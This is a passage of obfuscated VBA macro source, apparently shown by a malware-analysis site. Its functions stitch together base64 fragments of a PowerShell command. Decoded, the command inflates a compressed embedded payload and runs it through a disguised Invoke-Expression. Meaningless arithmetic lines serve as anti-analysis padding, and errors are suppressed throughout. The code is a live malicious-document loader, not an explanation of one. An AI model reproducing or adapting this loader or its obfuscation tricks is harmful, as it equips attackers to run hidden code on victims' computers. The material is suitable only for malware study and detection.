rUViBIWiI = "UgB5AHMAdAB" + "yAGUAYQBt" + "AF0AWwBT" + "AHkAUwBUA" + "EUAbQAuAEMA"
sijYGq = CStr(FiGmW * Tan(DiQLI * Int(wWqka * Sqr(69083) / vzTMHp + Fix(84262)) / 75794 * Round(39322 / Log(6015 - bETwjm) + 61210 - KmnisN)) / 19417 + CByte(4543))
MPzUkUK = "TwBOAHY" + "ARQByAFQAXQA" + "6ADoAZ" + "gBSA" + "G8ATQBCAE" + "EAUwBFADYANABzA" + "HQAUgBpAE4AZ" + "wAoACAAJw" + "BWAFoARAB0AFM" + "AOABNAHc"
UCwGo = CStr(vamRw * Tan(idjbjj * Int(zznDE * Sqr(61778) / LHRbw + Fix(95370)) / 74818 * Round(79420 / Log(35724 - EcnwY) + 47364 - VhwjJE)) / 13589 + CByte(22350))
lAHURrAvXAS = "ARQBNAGIALwB" + "sAFgAdwBvAGQA" + "RQBPAFgATw" + "BGAC8AUgB" + "JAG0Aeg" + "BPAG"
GFFhwt = CStr(OwnILS * Tan(KpKRW * Int(wHYYq * Sqr(66993) / jtCDK + Fix(30025)) / 40456 * Round(83388 / Log(64594 - kTLCYz) + 71866 - lCjmq)) / 97368 + CByte(73812))
EGuYRaWRf = "kAagBwAGY" + "ASgB2AFYAbAB" + "HADQASgBrAD" + "YAV"
Ihzjjr = CStr(XrVuj * Tan(vzJcEZ * Int(LBYHmJ * Sqr(8457) / pwCDRZ + Fix(14465)) / 76695 * Round(85111 / Log(1193 - tDnKD) + 10166 - QqFXK)) / 72913 + CByte(47990))
PcbmDwawiVa = "wB" + "uAGkAMgBxA" + "FEA" + "awB"
rDRYBHb = GfPijjAZpvj + QHTDLOzLH + rUViBIWiI + MPzUkUK + lAHURrAvXAS + EGuYRaWRf + PcbmDwawiVa
End Function
Function qihNabzLX()
On Error Resume Next
ZGIrtW = CStr(jhvSrR * Tan(nJRbA * Int(vXqVBl * Sqr(85570) / aSlQi + Fix(57142)) / 596 * Round(1471 / Log(59482 - GhGTG) + 29224 - OkrCvG)) / 66366 + CByte(71520))
mwhXTUFi = "WADkAcwA2A" + "DkAc" + "gA" + "4AGIAMwBSAF" + "QAOABjAG4AQgAz" + "AHYAKwB"
sBQnpI = CStr(YIOJCM * Tan(ZniQVT * Int(bRbkn * Sqr(1978) / LfMDf + Fix(72801)) / 71757 * Round(97577 / Log(70690 - KzChKr) + 10840 - BvSPRp)) / 25473 + CByte(34211))
UkwWatzj = "jAGUA" + "NwBnAG" + "4AMAA2AEwAe" + "gA0A" + "HYAQw" + "BUAEgAUgBFAF"
QkoDC = CStr(dNdCG * Tan(aCaCn * Int(XQsRZ * Sqr(42168) / lFiwO + Fix(43944)) / 80912 * Round(26322 / Log(36317 - OwnIp) + 49411 - hpzLb)) / 86367 + CByte(84700))
mtIqEDiYw = "AA" + "VgBNAGIATgAz" + "AEUARQBn" + "AHMAMQA2AG4A" + "Sg" + "BvAHkAQwA" + "5AEgAWAAyAGM" + "AMwB2ADMAZgBKAF"
djpBa = CStr(LSAQCu * Tan(PfQIH * Int(MGzwhq * Sqr(46589) / jWqKMq + Fix(68808)) / 70022 * Round(76370 / Log(827 - sVDdm) + 84435 - fDRKjC)) / 37267 + CByte(20880))
RzsbPA = "kAMQBEAH" + "kATw" + "BrAE4A" + "SQBIADI" + "AQw"
GdkHKC = CStr(bvKFq * Tan(hfrPw * Int(MIcNG * Sqr(90049) / USZnn + Fix(83658)) / 2801 * Round(20553 / Log(56151 - CsBpG) + 52831 - cmwbWm)) / 35260 + CByte(37464))
DIsqicl = "AyAFMAQgB" + "UAG" + "8ARABFAEsAcQ" + "BwAE8ATABHAE" + "QAMABZAF" + "MAcwBUAGkAa"
DwXiQ = CStr(MzhwBI * Tan(NotDY * Int(XuZFhu * Sqr(70663) / wkwjH + Fix(38147)) / 64992 * Round(76185 / Log(5849 - wqYfCI) + 19862 - ZFYHi)) / 35355 + CByte(26325))
wNFLoOcQC = "QBEAEcAZQBRAD" + "EAMQBUAE4AM" + "gBmA" + "FQALwBjAH" + "YASgBsA" + "FAAWABXADQANgBx" + "AHE" + "AcQBPAFMAcA"
qihNabzLX = mwhXTUFi + UkwWatzj + mtIqEDiYw + RzsbPA + DIsqicl + wNFLoOcQC
End Function
Function wfMXY()
On Error Resume Next
wLispj = CStr(KOOiPu * Tan(oalFEi * Int(rsRvI * Sqr(41136) / vqCjSd + Fix(45121)) / 43353 * Round(18058 / Log(20152 - PKNQnZ) + 89651 - kRwVcN)) / 60113 + CByte(24040))
hjKLLjk = "BzAHAAa" + "wBxA" + "DgAeABJ" + "AHQ" + "ATwBPAFM" + "AbABkA" + "DAATQBxAFQ"
TMzhO = CStr(PYMCw * Tan(RSQbH * Int(YDaErA * Sqr(56338) / NwUZSn + Fix(33465)) / 35627 * Round(6597 / Log(93184 - QAJzs) + 52606 - zNSzh)) / 89111 + CByte(41149))
atuaizzL = "ATQ" + "A2ADYARABVAG" + "8AeABI" + "AFAANwBSAEUAbg" + "Bp" + "AEcAcwBw"
HIiOV = CStr(EdnTDn * Tan(JzwOUN * Int(oOGhcU * Sqr(6029) / SOPaE + Fix(90379)) / 62554 * Round(16365 / Log(77158 - bRMXVi) + 79101 - noOUkN)) / 62205 + CByte(59353))
mjSBYX = "AEMATgBVADgASg" + "A5A" + "EUANQBTAFg" + "AcgBOAGo" + "AcQBEACsASwBI" + "AGYAeABkAH" + "oANwBzAHk" + "AbgB5A" + "HIAaQ"
sCwmAs = CStr(LZDdjo * Tan(qKatwd * Int(tbsoj * Sqr(28055) / wdCuZ + Fix(22850)) / 77767 * Round(11079 / Log(83865 - aYXMw) + 50840 - EwLXJ)) / 20037 + CByte(38345))
wECMnzn = "BtAFMAcg" + "A4AGEATgB1" + "AGwAZ" + "gBkAGYAd" + "gB5AGoAM" + "wBE" + "AHoASgBnAE8AZQ" + "BnAHY" + "AMA" + "A1AHcAVwA3AFA"
ASwaDz = CStr(inNvB * Tan(KcolTX * Int(YGEzB * Sqr(62952) / iCdoTi + Fix(19986)) / 46593 * Round(88070 / Log(80410 - nEGtkz) + 178 - cuWXm)) / 81216 + CByte(74076))
DwcqcGCF = "ARAA1AHAAZAB2AG" + "MAMQBDAG0AaABT" + "AFoAdw" + "BsAGIAWQBDAD"
LuNBZ = CStr(NlbKY * Tan(TYliwG * Int(TLiWEz * Sqr(55402) / oLfrw + Fix(62717)) / 63088 * Round(98220 / Log(56468 - oFQqVS) + 49137 - XEEJnZ)) / 61481 + CByte(21098))
TmiFvzrK = "kA" + "dA" + "BSADgASABnAHg" + "ANw" + "B0ADgAbg" + "AvAG8ARg" + "BnAGwA" + "UQBmAFYA"
pjYID = CStr(TZZwTZ * Tan(nZICJB * Int(cqMwd * Sqr(50127) / zfYGL + Fix(76000)) / 25404 * Round(83320 / Log(35002 - XkIzR) + 91038 - GBbRi)) / 1368 + CByte(70211))
tibVqhmhLz = "VQBHAE8AcgB1A" + "DAAbgAy" + "AEQA" + "NwBzADcAZQB4AD" + "cAUQB3ADA" + "ARQA4AEsA" + "YgA" + "4AEIAMABC" + "ADkASA"
iwrwU = CStr(fdYTtB * Tan(ImivHD * Int(ZsQKvq * Sqr(81548) / wGUioq + Fix(62179)) / 82653 * Round(42211 / Log(85531 - csGjdY) + 88505 - zPsWXw)) / 9752 + CByte(81146))
OKsqu = "BQAG8ARwB" + "DAGIAS" + "gBE" + "AHcATwBmAFQ" + "AMQBWACsAeAA3" + "AEMAagBXAEUAMA"
wfMXY = hjKLLjk + atuaizzL + mjSBYX + wECMnzn + DwcqcGCF + TmiFvzrK + tibVqhmhLz + OKsqu
End Function
Function SNzsiSY()
On Error Resume Next
fhDilD = CStr(SzONzc * Tan(NDJbnS * Int(nlBLs * Sqr(24778) / kziiA + Fix(89522)) / 21720 * Round(78670 / Log(78683 - qocRi) + 19228 - fVTfSN)) / 40849 + CByte(34087))
rGQOEuPGQVS = "BhAHUAeAB3AEkAV" + "gBzAEIAZABVADQ" + "AbgB0ADAA" + "UgBw" + "AGMAawBxA" + "G4ALw" + "BZA" + "EMA" + "YgBiAE4AWQ"
csvCT = CStr(qXhBji * Tan(hkYOql * Int(psIbUf * Sqr(44276) / bRjMRc + Fix(34886)) / 35973 * Round(87666 / Log(74269 - zwEjc) + 56868 - jojGE)) / 43928 + CByte(69298))
BcdqlGBP = "BwADAAcAB" + "QAFQAY" + "QBVAHoAdwA" + "5AE0Aeg"
ikkTh = CStr(WzvQRT * Tan(WPRib * Int(ozlIfw * Sqr(34968) / iJVNNc + Fix(96001)) / 89238 * Round(65153 / Log(66488 - EMbBI) + 36077 - JpJYS)) / 54474 + CByte(55490))
vpzDSati = "BsAGMARQBhAHAAZ" + "gBjAG0AUQ" + "BhA" + "HYAMABXADYAdQ" + "A5AFMAZABhAFcAN" + "wB"
wTwbEV = CStr(onoaD * Tan(qPchi * Int(WiMwd * Sqr(81113) / ocoKq + Fix(85956)) / 69539 * Round(63010 / Log(63045 - zGiEpX) + 76363 - hPGTa)) / 65041 + CByte(83272))
tmKPdj = "TAGgAQgBiAHI" + "ARQB6AHMAawBh" + "AEEAYw" + "A3AC8AagB" + "hAE8AWQA5" + "ADUAdA"
SNzsiSY = rGQOEuPGQVS + BcdqlGBP + vpzDSati + tmKPdj
End Function
Function AzMkRcquQ()
On Error Resume Next
XGCjVT = CStr(khmAdz * Tan(TYJkia * Int(AhGZl * Sqr(92317) / OUCHSG + Fix(40275)) / 57905 * Round(59056 / Log(95674 - iVuXC) + 45086 - PzwiJ)) / 79260 + CByte(6977))
pXmIFRDz = "BGAF" + "MAYwBCAFI" + "AeQBVAFYA" + "bQBGADA" + "ASgBIAEcA" + "SQBR" + "AGw" + "AZQB" + "hAE"
fXYvJ = CStr(XKVMjs * Tan(qNptM * Int(zFKcij * Sqr(28486) / wijLN + Fix(6577)) / 4635 * Round(53272 / Log(94643 - joZHL) + 46852 - SiAYl)) / 13181 + CByte(78411))
wUpjrjV = "YAdwBMAEsARgB" + "BAFo" + "AVABhACsAOQBnAH" + "IAOQBC" + "AHQARgB4ACsAQ" + "QBRAD" + "0APQAnACkALA" + "AgAFsA" + "aQBPAC4AYw" + "BPAG0Ac"
NEKUut = CStr(uOafp * Tan(VpIPQ * Int(JYBrum * Sqr(34271) / EOwLX + Fix(83581)) / 28479 * Round(99955 / Log(98201 - HCLXtL) + 64840 - iKworJ)) / 41730 + CByte(44688))
QsOLXUNYK = "ABSAE" + "UAcwBzAEkATwBuA" + "C4AQwBPAE0A" + "UAByAEUAU" + "wBzAGkAbwBOA" + "G0ATwBEA" + "GUAXQA6AD"
YLMQhd = CStr(HjRPHz * Tan(WqQHNX * Int(fqJODH * Sqr(28537) / WnpAM + Fix(80956)) / 77352 * Round(73295 / Log(52138 - ZdQMt) + 35887 - lYawb)) / 3844 + CByte(15114))
iWVzBKL = "oARA" + "BlAEMATwBNA" + "HAA" + "UgB" + "lAFMAcwApAC" + "AAfAAgA" + "CU" + "AewAgAG4AZQBXA" + "C0ATwB"
AzMkRcquQ = pXmIFRDz + wUpjrjV + QsOLXUNYK + iWVzBKL
End Function
Function jGbumwmGD()
On Error Resume Next
stVDBi = CStr(TrJiZ * Tan(lvhEp * Int(otWSwr * Sqr(81664) / inRvl + Fix(64512)) / 2497 * Round(39000 / Log(93396 - iZuDK) + 48388 - PtRzd)) / 86933 + CByte(88537))
qYfYzhzq = "iAEoAZQBjAH" + "QAIABzAFk" + "AUwB0AEUAbQ" + "Au" + "AGkATw" + "AuAFM" + "AdAByAE" + "UAYQB" + "NAFI"
TTFWbY = CStr(LMmfZ * Tan(tsFRz * Int(VQnli * Sqr(94220) / hwYSF + Fix(89695)) / 45164 * Round(17860 / Log(33583 - vwVuW) + 27070 - QfzpWA)) / 23329 + CByte(66626))
adpTOriLRl = "AZQBBA" + "EQAR" + "QBSACgAIA" + "AkA" + "F8ALABbAFMAW" + "QBzAHQARQBNAC4A" + "dABFAHgA"
iYWfhW = CStr(MrOmt * Tan(kCEbdJ * Int(dTwBF * Sqr(40181) / zYKzM + Fix(69370)) / 53497 * Round(30944 / Log(98037 - ljYYID) + 16127 - pjvzlu)) / 44614 + CByte(4613))
TYbhGUZ = "dAAuAGUATgB" + "jAE8" + "AZABJA" + "G4ARwB"
AKZUa = CStr(TbnjR * Tan(JFUDR * Int(zkuVQq * Sqr(50445) / lIAnQ + Fix(49868)) / 20016 * Round(39204 / Log(53227 - ZTKTF) + 94563 - XrCfd)) / 51239 + CByte(88757))
ozpbEdOpHW = "dADoAOgBB" + "AH" + "MAQwBJAEkAKQ" + "AgAH0AIAApAC4Ac"
EaRVi = CStr(jtLbLb * Tan(QrPpdP * Int(wfdfwA * Sqr(86797) / YkHhFU + Fix(23109)) / 99653 * Round(86051 / Log(97629 - LqZzsu) + 41547 - GAnqA)) / 22255 + CByte(31487))
GTsLGa = "gB" + "FA" + "GEAZAB0" + "AE8" + "AZ" + "QBO" + "AEQAKAApAHwAJ" + "gAoACgAVgBBAHIA" + "aQBBAEI"
YwmYi = CStr(jVaTd * Tan(fErWq * Int(EnZjkk * Sqr(52494) / mzltHV + Fix(80038)) / 97993 * Round(76212 / Log(5968 - aRJGD) + 47001 - QApCI)) / 31948 + CByte(958))
ONEZGPkEKk = "AbABlACA" + "AJwAqAG0AZ" + "AByAC" + "oAJwApAC4AT" + "gBBAE0AZQ" + "Bb" + "AD" + "MALAAxADEA" + "LAAyAF0" + "ALQBqAE"
HcwrL = CStr(zzPkk * Tan(LHfjQo * Int(QPujV * Sqr(15405) / Ubpjq + Fix(39316)) / 86369 * Round(78165 / Log(27732 - CvrEc) + 35139 - VSqNIU)) / 17144 + CByte(73613))
VYQah = "8AaQBuA" + "CcAJwA" + "pAA=="
jGbumwmGD = qYfYzhzq + adpTOriLRl + TYbhGUZ + ozpbEdOpHW + GTsLGa + ONEZGPkEKk + VYQah
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.